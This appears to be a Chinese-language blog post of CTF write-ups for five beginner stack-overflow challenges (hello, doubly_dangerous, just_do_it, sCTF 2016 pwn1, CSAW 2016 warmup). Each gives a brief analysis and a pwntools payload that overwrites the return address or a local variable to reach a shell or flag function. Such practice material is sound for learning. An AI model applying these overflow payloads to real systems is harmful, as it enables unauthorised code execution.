0x01_simple_stack_overflow

0x01

1. hello

 

 

 

 

 i386架构,有nx保护,buf距离ebp0x12,并且存在后门函数getShell,所以构造如下payload

 

 

 


get_shell_address = elf.symbols['getShell']
payload = ""
payload += "A" * 0x12
payload += "B" * 4
payload += pack(get_shell_address)
r.sendline(payload)
sleep(1)
r.sendline('echo "Get Shell?"')
r.readuntil("Get Shell?")
log.success("You Got the shell....")
r.interactive()


2doubly_dangerous

 

 

 

 

i386、开启nx,堆栈地址随机。按说有两种做法,A:直接劫持eipB:覆盖v511.28125

覆盖为11.28125payload
payload = ""
payload += "A" * 0x40
payload += "\x00\x80\x34\x41"  # 11.28125
# payload += pack(0x41348000)  # 11.28125
r.sendline(payload)
溢出eip的方法失败了,看汇编可以看到在retn之前,有这么一串东西:

 

 在函数的开始,还有这些:

 

 但程序并没有一个能泄漏esp的洞,并且开启了relro,所以...这条路几乎不通。


3just_do_it

 

 

 

 


分析程序后,可以看到,对s的输入是会覆盖到v6的,而flag放到了bss段的flag中,这个地址是可以直接查到的。构造payload
flag_addr = 0x0804A080
payload = ""
payload += "A" * (0x20 - 0xc)
payload += pack(flag_addr)
r.sendline(payload)
就可以直接拿到flag

04_sCTF-2016-q1_pwn1

 

 

 

 


strcpy的时候没有长度检测,有溢出可能。在fgets的时候,只读入0x20个字符,但栈有0x3C,,,本不能实现溢出,但,后面它做了一个替换,将I换成了you,所以,可以构造如下payload
get_flag_addr = elf.symbols['get_flag']
payload = ""
payload += "I" * (0x3c/3)
payload += "A" * (0x3c - 3 * len(payload))
payload += "_EBP"
payload += pack(get_flag_addr)
r.sendline(payload)
拿到flag

05_csaw_ctf_2016_quals_warmup

 

 

 

 


读取到后门地址后,直接溢出eip就可以:
r.readuntil("WOW:")
backdoor = int(r.readline(), 16)
log.success("backdoor: {0}".format(hex(backdoor)))
payload = ""
payload += "A" * 0x40
payload += pack(0)
payload += pack(backdoor)
r.readuntil(">")
r.sendline(payload)
posted @ 2019-09-10 21:23  新崔斯特姆的营地  阅读(193)  评论(0编辑  收藏  举报